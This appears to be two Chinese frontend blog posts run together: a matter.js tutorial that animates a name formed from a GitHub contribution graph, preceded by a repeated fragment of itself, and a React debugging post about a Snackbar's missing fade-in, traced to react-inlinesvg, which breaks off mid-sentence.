[6, 7, 8, 9, 10, 11, 'A', 13, 16, 17, 'R', 20, 26, 'V', 30, 'I', 34, 37, 38, 39, 'N'],
[6, 11, 'A', 13, 15, 16, 'R', 21, 25, 'V', 30, 'I', 34, 38, 39, 'N'],
[6, 11, 'A', 13, 16, 17, 'R', 22, 24, 'V', 30, 'I', 34, 39, 'N'],
[6, 11, 'A', 13, 17, 18, 'R', 23, 'V', 28, 29, 30, 31, 32, 'I', 34, 39, 'N'],
];
然後在剛剛的 Composites.stack
的 callback 函數中,我就能判斷當下繪製的 body(rectangle)是不是屬於名字的一部分,進一步做處理:
// 根據當下的 rectangle 位置 (x, y) 與 nameBlock 做比對
const static = (x, y) => {
const indexX = (x - 125) / 15;
const indexY = (y - 15) / 15;
const block = nameBlock[indexY];
// 若是屬於名字的一部分,設定為 static,然後給予不同的顏色設定
if (block && block.indexOf(indexX) !== -1) {
return [true, ['#229A3B', '#196126']];
}
return [false, ['#EBEDEF', '#C5E48B']];
};
const stack = Composites.stack(125, 15, 45, 7, 0, 0, function(x, y) {
const [isStatic, color] = static(x, y);
const block = Bodies.rectangle(x, y, 15, 15, {
//...略
});
return block;
});
繪製成果:
另外,在上面我自製的 static
函式中,會根據 rectangle 是否屬於名字的一部分,回傳 isStatic
布林值,這個值其實是屬於 Body
的一個 property,若 isStatic
設為 true,則該物體就不會受到其他物體的物理影響,很適合用在製作牆壁之類的物體,也恰好可以用來滿足我希望名字能被定住的需求。
而由於我希望方塊們是在掉落到一半的時候,名字才卡住,而其餘的方塊得隨著地心引力繼續下落,所以我必須要延緩設定 isStatic
的時間點,不能在我使用 Bodies
創建 rectangle 時就設定,需要來個 setTimeout 才行:
setTimeout(() => {
Body.setStatic(block, isStatic);
}, 800);
由於因為“物理界”的正常現象,方塊會從我們設定的 y 軸 15px 的地方掉落,而在下落的 800ms 時,我們透過 Body.setStatic()
這個 method 讓屬於名字部分的方塊變為 static,這樣就能達到名字掉落一半時定住,其餘方塊繼續掉落的效果:
想要的效果達成一半了,就是方塊掉落速度太線性了,而且直直落到畫面外也有點好笑,我們需要製造一點障礙物以及改變物體的速度,產生撞擊的效果。
首先,增加障礙物。
要增加障礙物很簡單,matter.js 的範例裡面很多都有利用 Bodies.rectangle
去創建牆壁,控制物體的活動範圍,這在製作遊戲時也是很重要的一部分。我們也可以如法泡製,增加四面八方的牆壁:
API: Matter.Bodies.rectangle(x, y, width, height, [options])
const wallOption = {
render: {
fillStyle: 'transparernt',
strokeStyle: '#FBFBFB',
},
isStatic: true,
};
const topWall = Bodies.rectangle(450, 0, 650, 30, wallOption);
const bottomWall = Bodies.rectangle(450, 500, 600, 30, wallOption);
const rightWall = Bodies.rectangle(880, 10, 30, 420, wallOption);
const leftWall = Bodies.rectangle(110, 10, 30, 420, wallOption);
牆壁的製作就是利用前面提到的 isStatic
屬性,讓他固定住,然後設定好擺放位置與長寬即可。唯一要注意的是,牆壁的長度要調整,不能四面都ㄧ樣長,這樣小方塊撞擊到牆壁後,還能從邊緣掉落或向外噴散,效果會好一點。
加了牆壁後,讓小方塊不會直直掉落,有了一些回饋感:
接著是物體的速度。
Matter.Body
有提供 setVelocity
這個屬性可以立即增加物體本身的線性速度,調整的方式為給予一個向量,因此可以調整施予速度的方向性:
API: Matter.Body.setVertices(body, vertices), Vertor: { x: 0, y: 0 }
Body.setVelocity(block, {x: 3, y: -10});
這樣就會讓一個小方塊往 x 軸 3,y 軸 -10 的方向增加速度,再加上先前加入的牆壁與固定住的名字方塊,產生的撞擊反彈就能達成這樣的效果:
除此之外,Bodies.rectangle
在宣告時能夠傳入調整物理特性的 properties,像是 frictionAir
可以改變物體的空氣摩擦力,數值越高,物體掉落越慢,並且都能透過 Matter.Body
去操控,例如:
Body.set(block, { frictionAir: 0 });
相關 API 官網都有條列出來。
將上述調整物體物理特性的函式呼叫搭配適當的 setTimeout,就能夠完成我們今天的範例效果:
const stack = Composites.stack(125, 15, 45, 7, 0, 0, function(x, y) {
const [isStatic, color] = static(x, y);
const block = Bodies.rectangle(x, y, 15, 15, {
// ...略
});
setTimeout(() => {
Body.setStatic(block, isStatic);
}, 800);
setTimeout(() => {
Body.set(block, { frictionAir: 0 });
}, 600);
setTimeout(() => {
if (!isStatic) {
Body.setVelocity(block, {x: 3, y: -10});
}
}, 900);
return block;
});
喔對了,最後當然要記得把我們產生的 Stack composites 與牆壁放入模擬的世界中:
// const world = engine.world;
World.add(world, [
stack,
// walls
topWall,
bottomWall,
rightWall,
leftWall
]);
matter.js 主打物理引擎,當然不是單純用來製造動畫,而是用來製作遊戲等等,也就是說要能與使用者互動,而方法就是一開始提到過的 MouseConstraint
,雖然這次範例用不著這個東西,但還是放個使用方法在這邊供參考:
const Mouse = Matter.Mouse;
const MouseConstraint = Matter.MouseConstraint;
const mouse = Mouse.create(render.canvas);
const mouseConstraint = MouseConstraint.create(engine, {
mouse: mouse,
constraint: {
stiffness: 3,
render: {
visible: false
}
}
});
World.add(world, mouseConstraint);
用法其實很簡單,其中 constraint 參數 visible
代表著滑鼠的拖拉軌跡會不會呈現出來,而 stiffness 可以算是調整所設定的 constraint 的韌度,調整該值可以影響物體受牽制(與滑鼠互動)後產生的彈性。文字可能有點難以描述,有需要使用的時候可以從官網文件查看可調整的參數值,試試看效果再決定要如何設置。
上述設定的效果如下:
最後放上程式碼連結供各位參考:https://codepen.io/arvin0731/pen/qBNoLQv
Matter.js 應該算是蠻久的一個工具了,以使用上來說非常容易上手,做些小動畫小遊戲蠻適合的,至於要真的用來製作複雜的遊戲的話,可能還是要再多研究他的效能如何,畢竟我這次並沒有觸碰到那塊,就歡迎有接觸過的讀者分享了!
畢竟這個範例也是拼拼湊湊而來的,週末小玩具就是這樣,的確沒辦法理解到他底層是如何實作,但是至少完成了想要的效果,然後也知道了這個工具的一些基本用法,之後有需要時可以快速拿來使用。
不過,提醒自己也提醒大家,要記得撥出時間去理解底層原理,因為這才是能讓你成長的要素,共勉之啦!
大約是在前陣子 GitHub 的 profile readme 很夯的時候,我在網路上看到了 matter.js 這個套件的作品,腦袋中就萌生一個點子想試試看,但因為真的沒有實際用處,也不確定效果好不好,就被我一直擱置,直到這個週末的空閒時間才決定要來實現它。
整體想法是這樣的,我想從上掉落一個利用 GitHub contribution graph 拼湊出的名字,然後掉落至畫面中間後,除了名字以外的方塊就會因為撞擊而噴散,最後只留下名字。
這邊用我老婆☺️ 的名字作為範例先給大家看看成果:
而放到 GitHub 頁面的效果如下:
效果跟我想像的還是有點差異,不過也有八成像了,今天就利用我製作的小玩具來介紹一下 matter.js 的基本使用方式。
matter.js 是一套由 JavaScript 撰寫的物理引擎,讓你能透過 JS 在瀏覽器上模擬物理反應,可以輕易調整物體重量、質量、速度,甚至是密度、摩擦力等等變量,非常適合用在需要呈現物理效果的 2D 遊戲中。
其提供的 API 也設計得簡單好用,只是雖然每個 API 都有文件,但內容都不太實用,如果你需要調整細節的話,要馬就自己慢慢更動嘗試,不然就得查看其原始碼會比較清楚。
而至於支援度部分也無須擔心,瀏覽器支援 IE8+,手機的觸控 Event 也不成問題。我覺得是另一個如同 GSAP 一樣值得花點時間學習把玩的前端工具。
在進入我們的範例製作解析前,我想先條列介紹 matter.js 中的常用套件,除了先了解整體的 Context 外,也能當作之後說明實作內容時的 reference。
matter.js 的 API 定義的很易懂,既然是做物理模擬,當然就要有 World
、Body
與 Constraint
,而這些也是你使用 matter.js 所需要的基礎元件。
World: matter.js 透過此模組來創建一個模擬世界,可以微調世界中的一些屬性,像是重力、邊界等等,而一個世界當然是由多個 Bodies 所組成。
Bodies: Bodies 模組提供你方法去生成一些物體,像是圓形物體、方形物體等等,你也可以傳入 svg、img 去客製化物體形狀與樣式。產生的物體放入 World 中後就可以被 render 在畫面上。
Body: 利用 Bodies 產生的物件可以利用 Body 模組來進行進一步的操控。透過 Body,你可以旋轉、縮放、位移你的物體,也可以更改物體本身的密度、速度等等。換句話說,Body 讓你調整物體的物理特性。
Engine: 引擎,顧名思義就是驅動整個模擬物理世界的動力,根據 Body 的物理性質來精準掌控 World
內 Body
彼此間的物理現象,確保能模擬出符合設定的反應。是 matter.js 的核心。主要的程式碼意外的沒有很長,可以大略看出 Engine 會負責控制 Bodies 之間的狀態更新。
Render: matter.js 有提供一個 Canvas based 的 Renderer,讓你能將 Engine 所催動的結果繪製出來,這個內建的 Render 模組主要是讓你用在開發與除錯上的,但對於簡單的動畫或遊戲,還是可以使用。另外要注意的是,該模組預設只會繪製出 wirefram 與向量,你要主動將 render.options.wireframes
設為 false,否則,以今天的模組為例(我們今天的範例也是用此模組開發。),他會變成這樣:
不過照這樣看來,依照官方的意思,如果你要使用 matter.js 來製作遊戲等等,基本上應該要自己實作 Render,你才能更好的控制畫面的變化。官方有提供一些 Renderer 的範例,也可以從其原始碼參考。
Composites: 這個模組有點像是 Bodies 模組,差別在於 Bodies 模組讓你創建出 ”一個“ 物體,而 Composites 提供方法讓你創建出多個物體所組合而成的物體,像是 Stack、Pyramid 或甚至是 Car, Chain 等等常用的內建組合。
Composite: 如同 Body 對應於 Bodies,Composite 就是對應於 Composites 的模組,讓你控制由 Composites 創建出的組合物體的物理特性。
Constraint: Constraint 模組讓你能為兩個物體之間增加物理限制,像是兩物體一定要間隔一定距離等等。這個模組在我們這次的範例中我沒有用到,不過官網有不少範例都有使用,像是 Newton's Cradle。
MouseConstraint: 如同 Constraint,這個模組讓你增加滑鼠與物體之間的”約束”,透過建立物體與滑鼠的限制,就可以讓使用者透過滑鼠與你創建的物體互動。前面的範例中沒用到,但後面我會稍微帶到如何使用。
const Engine = Matter.Engine;
const Render = Matter.Render;
const Composites = Matter.Composites;
const World = Matter.World;
const Bodies = Matter.Bodies;
const Body = Matter.Body;
起手式就是先將先前介紹過的模組都宣告出來。
// create engine
const engine = Engine.create();
const world = engine.world;
// create renderer
const render = Render.create({
element: document.body,
engine: engine,
options: {
width: 920,
height: 600,
}
});
接著創建 instance,利用 Engine.create()
創造 Engine 實例,而 engine.world
最後會需要傳給 World
模組,可以想像成是此引擎(Engine) 所驅動的世界(world)。
Render
的部分我們要指定使用的 engine、要渲染的 root element,以及寬高等基本選項。更細部的 properties 可以參考官網文件,以我們的範例來說,只需要這樣就夠了。
到目前為止,我們設定好了 Engine
與 Render
的實例,代表我們已經準備好了一個虛擬的世界,然而光是準備好還不夠,我們需要“啟動”它。
所謂的啟動,其實就是要不斷地去呼叫 Engine.update()?
來觸發引擎計算,或是讓 Renderer 更新畫面,執行類似下面的動作:
(function run() {
window.requestAnimationFrame(run);
Engine.update(engine, 1000 / 60);
})();
而實際上 matter.js 內有另一個模組 Matter.Runner
,可以來幫忙運行引擎與觸發 Render,在 Engine
與 Render
物件內都有個叫 run
的 helper 函式,就是用到此內建 Runner 模組,只要將實例放入,matter.js 的 Runner
就會幫忙執行 Runner 該做的事:
Engine.run(engine);
Render.run(render);
不過,與前面提到的 Matter.Render
類似,依照官網說法,內建的 Matter.Runner
主要也是開發與除錯用途,只適合用在簡單的小應用上。
Engine 與 Render 都啟動了,虛擬世界已上線,再來就只要往裡面丟入物體就好了。
分析一下我的點子:從上掉落一個利用 GitHub contribution graph 拼湊出的名字,然後掉落至畫面中間後,除了名字以外的方塊就會因為撞擊而噴散,最後只留下名字。
大致需要幾個條件:
從 matter.js 的官網中可以找到許多範例,從那些範例內,可以大致摸索出自己需要哪些模組才能拼湊出這樣的效果。
首先,可以利用 Composites.stack
ref 來製造出堆疊好的 contribution graph:
API: Matter.Composites.stack(xx, yy, columns, rows, columnGap, rowGap, callback)
const stack = Composites.stack(125, 15, 45, 7, 0, 0, function(x, y) {
// ...略
const block = Bodies.rectangle(x, y, 15, 15, {
render: {
fillStyle: color[~~(Math.random() * 2)], // 隨機給定格子顏色
strokeStyle: '#fff',
},
frictionAir: 0.03,
});
// ...略
return block;
});
Composites.stack
前面六個參數可以定義一個 grid 空間,範例中我們在相對於 Render
設定範圍的 x 軸 125px 與 y 軸 15px 的位置開始放置 stack,並定義該 grid 是 45 x 7 的格子(GitHub 上每行七天,大約 45 週),每個方塊大小 15px x 15px,格子與格子之間我們不需要空格,因此 columnGap 與 rowGap 都填 0。
而最後的 callback 函數中,可以組合多個 body 來擺放在其 grid 空間中。舉例來說,我們想要繪製出 contribution graph 的話,就是在 callback 函式中,利用 Bodies.rectangle
來產生一個個的小方塊,在這個 callback 中可以做很多事情,包含定義方塊的顏色、狀態等等。
到這邊可以繪製出一個還不錯的 contribution graph:
要客製化 contribution graph 好像很不少方式,像是這個,但我沒想那麼多 LOL 畢竟一開始只是想實驗看看,所以就用最土炮的方式,用 pixilart 手動在 45x7 的格子上用 pixel art 的方式寫出名字,然後再慢慢把格子數出來,建立一個雙層陣列來存:
const nameBlock = [
[7, 8, 9, 10, 'A', 13, 14, 15, 16, 17, 'R', 20, 26, 'V', 28, 29, 30, 31, 32, 'I', 34, 35, 39, 'N'],
[6, 11, 'A', 13, 18, 'R', 20, 26, 'V', 30, 'I', 34, 35, 36, 39, 'N'],
[6, 11, 'A', 13, 17, 18, 'R', 20, 26, 'V', 30, 'I', 34, 36, 37, 39, 'N'],
[6, 7, 8, 9, 10, 11, 'A', 13, 16, 17, 'R', 20, 26, 'V', 30, 'I', 34, 37, 38, 39, 'N'],
[6, 11, 'A', 13, 15, 16, 'R', 21, 25, 'V', 30, 'I', 34, 38, 39, 'N'],
[6, 11, 'A', 13, 16, 17, 'R', 22, 24, 'V', 30, 'I', 34, 39, 'N'],
[6, 11, 'A', 13, 17, 18, 'R', 23, 'V', 28, 29, 30, 31, 32, 'I', 34, 39, 'N'],
];
然後在剛剛的 Composites.stack
的 callback 函數中,我就能判斷當下繪製的 body(rectangle)是不是屬於名字的一部分,進一步做處理:
// 根據當下的 rectangle 位置 (x, y) 與 nameBlock 做比對
const static = (x, y) => {
const indexX = (x - 125) / 15;
const indexY = (y - 15) / 15;
const block = nameBlock[indexY];
// 若是屬於名字的一部分,設定為 static,然後給予不同的顏色設定
if (block && block.indexOf(indexX) !== -1) {
return [true, ['#229A3B', '#196126']];
}
return [false, ['#EBEDEF', '#C5E48B']];
};
const stack = Composites.stack(125, 15, 45, 7, 0, 0, function(x, y) {
const [isStatic, color] = static(x, y);
const block = Bodies.rectangle(x, y, 15, 15, {
//...略
});
return block;
});
繪製成果:
另外,在上面我自製的 static
函式中,會根據 rectangle 是否屬於名字的一部分,回傳 isStatic
布林值,這個值其實是屬於 Body
的一個 property,若 isStatic
設為 true,則該物體就不會受到其他物體的物理影響,很適合用在製作牆壁之類的物體,也恰好可以用來滿足我希望名字能被定住的需求。
而由於我希望方塊們是在掉落到一半的時候,名字才卡住,而其餘的方塊得隨著地心引力繼續下落,所以我必須要延緩設定 isStatic
的時間點,不能在我使用 Bodies
創建 rectangle 時就設定,需要來個 setTimeout 才行:
setTimeout(() => {
Body.setStatic(block, isStatic);
}, 800);
由於因為“物理界”的正常現象,方塊會從我們設定的 y 軸 15px 的地方掉落,而在下落的 800ms 時,我們透過 Body.setStatic()
這個 method 讓屬於名字部分的方塊變為 static,這樣就能達到名字掉落一半時定住,其餘方塊繼續掉落的效果:
想要的效果達成一半了,就是方塊掉落速度太線性了,而且直直落到畫面外也有點好笑,我們需要製造一點障礙物以及改變物體的速度,產生撞擊的效果。
首先,增加障礙物。
要增加障礙物很簡單,matter.js 的範例裡面很多都有利用 Bodies.rectangle
去創建牆壁,控制物體的活動範圍,這在製作遊戲時也是很重要的一部分。我們也可以如法泡製,增加四面八方的牆壁:
API: Matter.Bodies.rectangle(x, y, width, height, [options])
const wallOption = {
render: {
fillStyle: 'transparernt',
strokeStyle: '#FBFBFB',
},
isStatic: true,
};
const topWall = Bodies.rectangle(450, 0, 650, 30, wallOption);
const bottomWall = Bodies.rectangle(450, 500, 600, 30, wallOption);
const rightWall = Bodies.rectangle(880, 10, 30, 420, wallOption);
const leftWall = Bodies.rectangle(110, 10, 30, 420, wallOption);
牆壁的製作就是利用前面提到的 isStatic
屬性,讓他固定住,然後設定好擺放位置與長寬即可。唯一要注意的是,牆壁的長度要調整,不能四面都ㄧ樣長,這樣小方塊撞擊到牆壁後,還能從邊緣掉落或向外噴散,效果會好一點。
加了牆壁後,讓小方塊不會直直掉落,有了一些回饋感:
接著是物體的速度。
Matter.Body
有提供 setVelocity
這個屬性可以立即增加物體本身的線性速度,調整的方式為給予一個向量,因此可以調整施予速度的方向性:
API: Matter.Body.setVertices(body, vertices), Vertor: { x: 0, y: 0 }
Body.setVelocity(block, {x: 3, y: -10});
這樣就會讓一個小方塊往 x 軸 3,y 軸 -10 的方向增加速度,再加上先前加入的牆壁與固定住的名字方塊,產生的撞擊反彈就能達成這樣的效果:
除此之外,Bodies.rectangle
在宣告時能夠傳入調整物理特性的 properties,像是 frictionAir
可以改變物體的空氣摩擦力,數值越高,物體掉落越慢,並且都能透過 Matter.Body
去操控,例如:
Body.set(block, { frictionAir: 0 });
相關 API 官網都有條列出來。
將上述調整物體物理特性的函式呼叫搭配適當的 setTimeout,就能夠完成我們今天的範例效果:
const stack = Composites.stack(125, 15, 45, 7, 0, 0, function(x, y) {
const [isStatic, color] = static(x, y);
const block = Bodies.rectangle(x, y, 15, 15, {
// ...略
});
setTimeout(() => {
Body.setStatic(block, isStatic);
}, 800);
setTimeout(() => {
Body.set(block, { frictionAir: 0 });
}, 600);
setTimeout(() => {
if (!isStatic) {
Body.setVelocity(block, {x: 3, y: -10});
}
}, 900);
return block;
});
喔對了,最後當然要記得把我們產生的 Stack composites 與牆壁放入模擬的世界中:
// const world = engine.world;
World.add(world, [
stack,
// walls
topWall,
bottomWall,
rightWall,
leftWall
]);
matter.js 主打物理引擎,當然不是單純用來製造動畫,而是用來製作遊戲等等,也就是說要能與使用者互動,而方法就是一開始提到過的 MouseConstraint
,雖然這次範例用不著這個東西,但還是放個使用方法在這邊供參考:
const Mouse = Matter.Mouse;
const MouseConstraint = Matter.MouseConstraint;
const mouse = Mouse.create(render.canvas);
const mouseConstraint = MouseConstraint.create(engine, {
mouse: mouse,
constraint: {
stiffness: 3,
render: {
visible: false
}
}
});
World.add(world, mouseConstraint);
用法其實很簡單,其中 constraint 參數 visible
代表著滑鼠的拖拉軌跡會不會呈現出來,而 stiffness 可以算是調整所設定的 constraint 的韌度,調整該值可以影響物體受牽制(與滑鼠互動)後產生的彈性。文字可能有點難以描述,有需要使用的時候可以從官網文件查看可調整的參數值,試試看效果再決定要如何設置。
上述設定的效果如下:
最後放上程式碼連結供各位參考:https://codepen.io/arvin0731/pen/qBNoLQv
Matter.js 應該算是蠻久的一個工具了,以使用上來說非常容易上手,做些小動畫小遊戲蠻適合的,至於要真的用來製作複雜的遊戲的話,可能還是要再多研究他的效能如何,畢竟我這次並沒有觸碰到那塊,就歡迎有接觸過的讀者分享了!
畢竟這個範例也是拼拼湊湊而來的,週末小玩具就是這樣,的確沒辦法理解到他底層是如何實作,但是至少完成了想要的效果,然後也知道了這個工具的一些基本用法,之後有需要時可以快速拿來使用。
不過,提醒自己也提醒大家,要記得撥出時間去理解底層原理,因為這才是能讓你成長的要素,共勉之啦!
這個標題致敬了有寫 JavaScript 的人就算沒看過也一定聽過的一系列書籍:Kyle Simpson 寫的 You Don't Know JS(中譯版翻成《你所不知道的 JS》),裡面講了許多很多人不知道的,有關於 JS 的東西。
而 I don't know React 是我對我自己的一系列紀錄,記錄了一些我所不知道的 React,而這些文章都是由我使用 React 的經驗總結而來。這一些我曾經碰到過的錯誤,有可能很基本很常見(官方文件上面就有寫的那種,只是我沒看清楚所以不知道),也有可能比較少見(我可能在工作上寫三四年才碰到)。
換句話說,寫這系列的精神跟 YDKJS 不一樣,前者是想告訴你一些 JS 當中比較少人知道的東西,是一種「我來教你寫 JS」的感覺,而我寫這系列之所以叫做「I don't konw」,是因為想用一系列的文章記錄自己寫 React 曾經有過的誤解或者是沒有注意到的地方,以及正確答案到底是什麼。
我也不知道這系列文會有幾篇,大概就是我每犯下一個就會來 po 個文。這系列有一個我覺得滿大的不同點,就是我會在文章開頭盡可能提供當時犯錯的場景重現,讓大家能有機會在看答案之前自己 debug,看看是否能找出錯誤在哪。我覺得這其實是最精華的部分,這不是什麼制式的面試考題,也不是從網路上隨便找來的 React 測驗,而是我在工作上碰到過的真實的狀況。
因為想要讓大家盡可能融入情境,也去思考我曾經碰過的問題,所以會有不少篇幅在於「定義以及重現問題」,如果你對自己尋找答案沒有興趣,也可以直接跳過這個部分去看解答。但我個人建議是自己先嘗試 debug,去發現問題在哪,才來看文章內的解答,才能完整地吸收文章想表達的東西。
總之呢,讓我們先來看看這一篇要講的案例吧!
這次要來 demo 的案例是 Snackbar 這個 component,就是會出現在螢幕下面提示使用者的一個小巧可愛的元件。而我們的任務很簡單,就是要寫出一個 Snackbar 然後讓它可以正常運作就行了,因為這邊重點不在 style,所以我 style 的部分會隨便寫一寫,只是示意而已。
我們可以先寫一個基本的雛形出來,利用 open
這個 props 決定透明度,然後可以接受 children
的傳入並且 render 出來:
function Snackbar({ children, open }) {
return (
<div
style={{
background: "black",
color: "white",
transition: "all 0.3s",
opacity: open ? 1 : 0
}}
>
{children}
</div>
);
}
當 open 是 true 的時候就會看得到內容,像是這樣:
那為什麼要這樣做呢?因為根據這個透明度的調整,我們可以自己寫另外一個會自動隱藏的 component,藉由 transition 來達成淡入以及淡出的效果:
const duration = 1000;
const transitionDuration = 300;
function AutoHideSnackbar({ children, onClose }) {
const [open, setOpen] = useState(false);
useEffect(() => {
setOpen(true);
const timer = setTimeout(() => {
setOpen(false);
}, duration);
const timer2 = setTimeout(() => {
onClose();
}, duration + transitionDuration);
return () => {
clearTimeout(timer);
clearTimeout(timer2);
};
}, [onClose]);
return <Snackbar open={open}>{children}</Snackbar>;
}
用的時候需要像這樣使用:
export default function App() {
const [open, setOpen] = useState(false);
const handleClick = () => setOpen(true);
const handleClose = () => setOpen(false);
return (
<div className="App">
<h1>Snackbar</h1>
<button onClick={handleClick}>show</button>
{open && (
<AutoHideSnackbar onClose={handleClose}>hello~</AutoHideSnackbar>
)}
</div>
);
}
當我們點擊按鈕的時候,會把這一層的 open 設定成 true,就會 render <AutoHideSnackbar>
這個 component,在 AutoHideSnackbar
裡面初始值的 open 是 false,所以會 render <Snackbar open={false}>hello</Snackbar>
,這時候 Snackbar 透明度就會是 0,處於一個看不見的狀態。
render 並且 mount 以後,執行 AutoHideSnackbar
裡面的 useEffect,把 open 設定成 true,這時候 Snackbar 的透明度就會改成 1,因為從 0 變成 1 再加上有 transition,就達成 fade in 的效果,並且設定兩個 timer 來處理自動關閉。
1 秒過後第一個 timer 觸發,把 open 設成 false,再度觸發 transition,有了 fade out 的效果。transition 結束以後第二個 timer 觸發,呼叫 onClose,然後呼叫到了 App 的 handleClose,把 App 那一層的 open 也設定為 false,於是 AutoHideSnackbar
就 unmount 了,恢復成原始的樣子。
做到這邊,一個會自動隱藏的 Snackbar 就誕生了,但其實還有地方可以再加強。
之前在使用 Ant Design 的時候有個用法深深地影響了我,那就是用 function call 的方式去 render component,而不是用 render 的。例如說你想顯示一個訊息,你可以直接這樣子做:
import { message } from 'antd'
export default function App() {
const handleClick = () => {
message.info("hello~")
}
return (
<div>
<button onClick={handleClick}>顯示訊息</button>
</div>
)
}
而不是這樣子(antd 沒有這種用法,只是示範而已):
import { Message } from 'antd'
export default function App() {
const [open, setOpen] = useState(false)
const handleClick = () => {
setOpen(true)
}
const handleClose = () => {
setOpen(false)
}
return (
<div>
<button onClick={handleClick}>顯示訊息</button>
<Message open={open} onClose={handleClose}>
hello~
</Message>
</div>
);
}
可以看出前者的用法比後者簡潔很多,因為後者必須要自己管理 component 開啟或是關閉的狀況,但前者完全不管這些。雖然說是比較方便沒錯,可是我會說前者「沒有那麼 React」,因為 React 的精神本來就是以 state 為核心,UI 只是 state 的副產物,所以開啟或是關閉的狀況,應該要存在於 state 裡面才對。
但儘管如此,我依然會傾向前者的用法,因為當我們在顯示訊息時,我們其實並不關心他是開啟還是關閉,我們不想知道這件事情,我們唯一想做的只有「顯示訊息」,所以這時候如果像 alert
或是 confirm
那樣只需要一個 function call,事情會簡單很多。
所以接著我們就來參考 Ant Design 的原始碼,讓我們的 Snackbar 也擁有這種 static method,可以更方便地顯示訊息。
程式碼會是這樣的:
Snackbar.show = function (children) {
const div = document.createElement("div");
document.body.appendChild(div);
ReactDOM.render(
<AutoHideSnackbar
onClose={() => {
const unmountResult = ReactDOM.unmountComponentAtNode(div);
if (unmountResult && div.parentNode) {
div.parentNode.removeChild(div);
}
}}
>
{children}
</AutoHideSnackbar>,
div
);
};
其實就是在呼叫 function 時動態產生一個 div,然後直接使用 ReactDOM.render
把 AutoHideSnackbar render 上去,自動消失時再把 div 拿掉。透過這樣子的方式,就可以脫離原本的 React App,新建一個 React App 去 render Snackbar。
而且因為我們接收的參數 children 沒有限制,所以要顯示圖片也是可以的,像是這樣:
import React from "react";
import { Snackbar } from "./Snackbar";
import styled from "styled-components";
import warningSvg from "./icon.svg";
import SVG from "react-inlinesvg";
const Warning = styled(SVG).attrs({
src: warningSvg
})`
width: 24px;
height: 24px;
`;
export default function App() {
const showSnackbar = () => {
Snackbar.show(
<div>
hey! <Warning />
</div>
);
};
return (
<div className="App">
<h1>Snackbar</h1>
<p>靜態方式顯示 snackbar</p>
<button onClick={showSnackbar}>顯示</button>
</div>
);
}
顯示的結果:
好,這一切的一切看起來都十分完美,現在我們終於可以用一個簡單的 function call 就顯示出東西了,再也不用去維護那些麻煩的狀態...
直到你擦亮眼睛一看,發現了一件奇怪的事情,那就是你的 Snackbar 在使用 static method 那個方法的時候,fade in 居然消失了!你仔細看上面的 gif,就可以看出只有 fade out 的效果,沒有 fade in。
這就是我之前碰過的一個 bug,也就是這一篇的主角。
底下是可以完整重現這個 bug 以及上面所做的 component 的 CodeSandbox,推薦大家可以自己 fork 回去改改看,看能不能找出 bug 在哪裡,以及 root cause 到底是什麼,訓練一下自己 debug 的能力。
CodeSandbox: https://codesandbox.io/s/snackbar-debug-test-kw7iv?file=/src/App.js
接著提醒一件事情,上面的程式碼是真的會有 bug,至於我上面所說的一些有關於成因的判斷,不一定是正確的。這是我當初剛碰到這個 bug 時的第一判斷,有可能正確也有可能錯誤,現在你手中有可以完整重現問題的程式碼了,可以自己利用各種方式找出問題到底在哪裡。
底下我會先回憶一次自己當初是如何 debug 的,講完以後會開始講答案是什麼,如果想自己 debug 的人請勿往下繼續看,會被雷到。
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
既然問題是出在 static method 那個用法,那我想說就朝這方向去研究好了。我做的第一件事情很簡單,就是先把每個 component 的 render 跟 useEffect 都加上 console.log
,根據 log 出來的東西跟自己的想法對照,看看有沒有執行順序上跟我認知中不同的地方。
經過一段時間的嘗試,發現好像沒有什麼差別,不管用哪一個方法,都跟我認識的執行流程一樣。第一次 render AutoHideSnackbar
的時候 open 一定是 0,所以一開始一定是看不到的,接著 useEffect 完下一次 render 會變成 1,所以透明度會變成 1,因此會有個 fade in 的效果。
但最終會看到這樣的結果,fade in 的 transition 消失了,就代表出現在畫面上的時候,open 應該就是 1 了,否則不會看到這樣的結果。
debug 一陣子沒什麼頭緒之後,我開始懷疑起是不是因為某些非同步或是 React 的渲染機制,導致第一次 render 時 open 就是 true,所以我加了個 rAF,讓 open 屬性 delay 一下才變成 true:
export function AutoHideSnackbar({ children, onClose }) {
const [open, setOpen] = useState(false);
useEffect(() => {
// 原本是直接 setOpen(true),我包了 rAF 在外面
window.requestAnimationFrame(() => setOpen(true));
const timer = setTimeout(() => {
setOpen(false);
}, duration);
const timer2 = setTimeout(() => {
onClose();
}, duration + transitionDuration);
return () => {
clearTimeout(timer);
clearTimeout(timer2);
};
}, [onClose]);
return <Snackbar open={open}>{children}</Snackbar>;
}
加了之後發現就沒問題了,可以成功看到 fade in 的效果。不過儘管如此,我還是不知道原本為什麼會這樣。
接著我重新再測試了一遍,發現一件很嚴重的事情!
我並沒有把實驗的變因處理好,我一直以為是我用那個比較 tricky 的方法導致這個問題,所以一直往這個方向去找答案,去看 static method 到底跟一般的 render 有什麼不同,卻忽略了我上面的範例中,一般的 render 跟 static 的 render,還有一個變因不同,那就是「有沒有 render SVG」,我把 staic method 範例中的 SVG 拿掉,發現居然有 fade in 的效果了!
哇操,我前面花了兩三個小時都是在做白工找錯方向,而是還是因為自己漏看,沒有定義好問題範圍所導致的。知道這一點之後,進度就快多了。
我先把 react-inlinesvg
這套件換成普通的 img,發現一樣可以正常運作,而原本一般的 render 方式,加上了 react-inlinesvg
淡入效果也會消失。因此原因差不多可以確定了,就是 react-inlinesvg
這個 library 造成的。
但到底是為什麼呢?我去看了一下它的原始碼,看不到什麼可疑的東西。在沒有其他方法的情況之下,我用了最暴力但是也最有效的一招:「改 node_modules 裡面的程式碼」。這其實就跟我慣用的 debug 方式一樣,當你束手無策,完全不知道問題出在哪的時候,就開始刪 code。
刪掉一段發現問題還在,就代表那段 code 不是兇手。刪掉了某段 code 問題就不見之後,你就知道一定跟那段 code 有關了,有點像是對程式碼進行二分搜的感覺。如果熟悉執行流程的話做起來其實還滿快的,就一直刪 code 就好了。不過對 third party 做這件事麻煩的點在於你必須直接去改 node_modules 裡面的程式碼,那些程式碼都是經過 bable transpiled 過後的,可讀性會比較低,不過還是能看懂就是了。
經過這一段刪刪改改之後,我終於發現了出問題的地方,在這裡:https://github.com/gilbarbara/react-inlinesvg/blob/v2.1.1/src/index.tsx#L209
SVG 這個 component 在 componentDidMount 的時候會去呼叫 this.load()
,而 this.load
裡面會去呼叫 this.setState()
,經過我幾次測試之後發現把 this.setState()
